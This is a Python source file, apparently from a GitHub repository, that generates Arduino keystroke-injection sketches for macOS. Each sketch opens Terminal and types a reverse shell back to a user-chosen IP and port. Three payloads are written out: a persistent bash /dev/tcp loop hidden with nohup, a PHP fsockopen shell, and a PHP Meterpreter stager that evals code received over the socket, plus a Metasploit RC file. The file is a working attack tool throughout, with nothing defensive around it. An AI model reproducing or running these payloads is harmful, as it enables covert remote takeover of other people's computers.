-
Notifications
You must be signed in to change notification settings - Fork 0
/
osxCore.py
366 lines (305 loc) · 13.5 KB
/
osxCore.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
#!/usr/bin/python
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager
import sys
import argparse
import os
import subprocess
import coreUtils
import nfoCore
def osxBanner():
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* *"
print "* OSX Payloads *"
print "* These Payloads are for OSX *"
print "* *"
print "********************************************************************************************"
print "\n"
def osxMenu():
coreUtils.clearScreen()
menu = {}
menu['1']="Bash Reverse Shell without nc -e for OSX"
menu['2']="Reverse Shell in PHP for OSX"
menu['3']="meterpreter/reverse in PHP for OSX"
menu['42']="Main Menu"
menu['99']="Exit"
while True:
osxBanner()
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
selection=raw_input("\nPlease Select: ")
if selection =='1':
osxOption1()
elif selection == '2':
osxOption2()
elif selection == '3':
osxOption3()
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
else:
print "\n\n***That is not a valid option!***\n\n"
def osxWriteFile(fileName,payloadFunc,payload):
buffer = "#include <Keyboard.h>\n"
buffer += "void setup() {\n"
buffer += " Keyboard.begin();\n"
buffer += " openTerminal();\n"
buffer += " delay(1500);\n"
buffer += " " + payloadFunc
buffer += " closeTerminal();\n"
buffer += " Keyboard.end();\n"
buffer += "}\n"
buffer += "void pressEnter(){\n"
buffer += " Keyboard.press(KEY_RETURN);\n"
buffer += " delay(100);\n"
buffer += " Keyboard.release(KEY_RETURN);\n"
buffer += "}\n"
buffer += "void openTerminal(){\n"
buffer += " delay(500);\n"
buffer += " Keyboard.press(KEY_LEFT_GUI);\n"
buffer += " Keyboard.println(\" \");\n"
buffer += " delay(150);\n"
buffer += " Keyboard.release(KEY_LEFT_GUI);\n"
buffer += " delay(100);\n"
buffer += " Keyboard.println(\"terminal\");\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += " pressEnter();\n"
buffer += " delay(500);\n"
buffer += "}\n"
buffer += "\n"
buffer += "void closeTerminal(){\n"
buffer += " Keyboard.press(KEY_LEFT_GUI);\n"
buffer += " Keyboard.println(\"m\");\n"
buffer += " delay(150);\n"
buffer += " Keyboard.release(KEY_LEFT_GUI);\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += "}\n"
buffer += "\n"
buffer += payload
buffer += "void loop()\n"
buffer += "{\n"
buffer += "}\n"
fileName = coreUtils.checkINO(fileName)
file = open(fileName,'w')
file.write(buffer)
file.close()
print "\n\noutput written to " + fileName
raw_input("\nPress Enter to continue and return to Main Menu...")
coreUtils.clearScreen()
def osxOption1():
done = False
looper = False
remoteIP=""
remotePort=""
fileName=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Persistent Bash Reverse Shell without NetCat *"
print "* This payload will initiate a Bash reverse shell without Netcat *"
print "* Options are: 1. remote IP 2. Listening Port *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set IP address of the remote server"
menu['2'] = "Set the listening port of the remote server"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if remoteIP != "":
print "IP of the remote server set to -> " + remoteIP
if remotePort != "":
print "Listening port on the remote server set to -> " + remotePort
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
remoteIP = raw_input("Please enter the IP address of the remote server to connect to: ")
elif selection == '2':
remotePort = raw_input("Please enter the listening port on the remote server:")
elif selection == '3':
fileName = coreUtils.getFileName('reverseCmdOSX.ino')
elif selection == '4':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.osx1info()
else:
print "\n\n***That is not a valid option!***\n\n"
if remoteIP != "" and remotePort != "" and fileName != "":
done = True
if done == True and looper == True:
payload = "void ReverseShell(){\n"
payload += "Keyboard.println(\"nohup bash -c \\\"while true;do bash -i >& /dev/tcp/" +remoteIP+ "/" +remotePort+ " 0>&1 2>&1; sleep 1;done\\\" 1>/dev/null &\");\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "ReverseShell();\n"
osxWriteFile(fileName,payloadFunc, payload)
def osxOption2():
done = False
looper = False
remoteIP=""
remotePort=""
fileName=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* PHP Reverse Shell *"
print "* This payload will initiate a reverse shell via PHP, requires PHP *"
print "* Options are: 1. remote IP 2. Listening Port *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set IP address of the remote server"
menu['2'] = "Set the listening port of the remote server"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if remoteIP != "":
print "IP of the remote server set to -> " + remoteIP
if remotePort != "":
print "Listening port on the remote server set to -> " + remotePort
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
remoteIP = raw_input("Please enter the IP address of the remote server to connect to: ")
elif selection == '2':
remotePort = raw_input("Please enter the listening port on the remote server:")
elif selection == '3':
fileName = coreUtils.getFileName('revShellPHP.ino')
elif selection == '4':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.osx2info()
else:
print "\n\n***That is not a valid option!***\n\n"
if remoteIP != "" and remotePort != "" and fileName != "":
done = True
if done == True and looper == True:
payload = "void ReverseShell(){\n"
payload += "Keyboard.println(\"php -r '$sock=fsockopen(\\\""+remoteIP+"\\\","+remotePort+");exec(\\\"/bin/sh -i <&3 >&3 2>&3\\\");'\");\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "ReverseShell();\n"
osxWriteFile(fileName,payloadFunc, payload)
def osxOption3():
done = False
looper = False
remoteIP=""
remotePort=""
fileName=""
RCfile=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* PHP Meterpreter Reverse TCP *"
print "* This payload will initiate a meterpreter/reverse_tcp via PHP, requires PHP *"
print "* Options are: 1. remote IP 2. Listening Port *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set IP address of the remote server"
menu['2'] = "Set the listening port of the remote server"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Set Metasploit RC File name"
menu['5'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if remoteIP != "":
print "IP of the remote server set to -> " + remoteIP
if remotePort != "":
print "Listening port on the remote server set to -> " + remotePort
if RCfile != "":
print "Metasploit RC File name set to -> " + RCfile
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
remoteIP = raw_input("Please enter the IP address of the remote server to connect to: ")
elif selection == '2':
remotePort = raw_input("Please enter the listening port on the remote server:")
elif selection == '3':
fileName = coreUtils.getFileName('reverseMetPHP.ino')
elif selection == '4':
RCfile = coreUtils.getRCFileName('reverseMetPHP.rc')
elif selection == '5':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.osx3info()
else:
print "\n\n***That is not a valid option!***\n\n"
if remoteIP != "" and remotePort != "" and fileName != "" and RCfile !="":
done = True
if done == True and looper == True:
payload = "void ReverseShell(){\n"
payload += "Keyboard.println(\"php -r 'error_reporting(0); $ip = \\\""+remoteIP+"\\\"; $port = "+remotePort+"; if (($f = \\\"stream_socket_client\\\") && is_callable($f)) { $s = $f(\\\"tcp://{$ip}:{$port}\\\");"
payload += " $s_type = \\\"stream\\\"; } elseif (($f = \\\"fsockopen\\\") && is_callable($f)) { $s = $f($ip, $port); $s_type = \\\"stream\\\"; } elseif (($f = \\\"socket_create\\\") && is_callable($f))"
payload += " { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = \\\"socket\\\"; } else { die(\\\"no socket funcs\\\"); } if (!$s) { die(\\\"no socket\\\");"
payload += " } switch ($s_type) { case \\\"stream\\\": $len = fread($s, 4); break; case \\\"socket\\\": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\\\"Nlen\\\", $len); $len = $a[\\\"len\\\"];"
payload += " $b = \\\"\\\"; while (strlen($b) < $len) { switch ($s_type) { case \\\"stream\\\": $b .= fread($s, $len-strlen($b)); break; case \\\"socket\\\": $b .= socket_read($s, $len-strlen($b)); break;"
payload += " } } $GLOBALS[\\\"msgsock\\\"] = $s; $GLOBALS[\\\"msgsock_type\\\"] = $s_type; eval($b); die();'\");\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "ReverseShell();\n"
osxWriteFile(fileName,payloadFunc, payload)
coreUtils.msfRCfile(remoteIP,remotePort,'php/meterpreter/reverse_tcp',RCfile)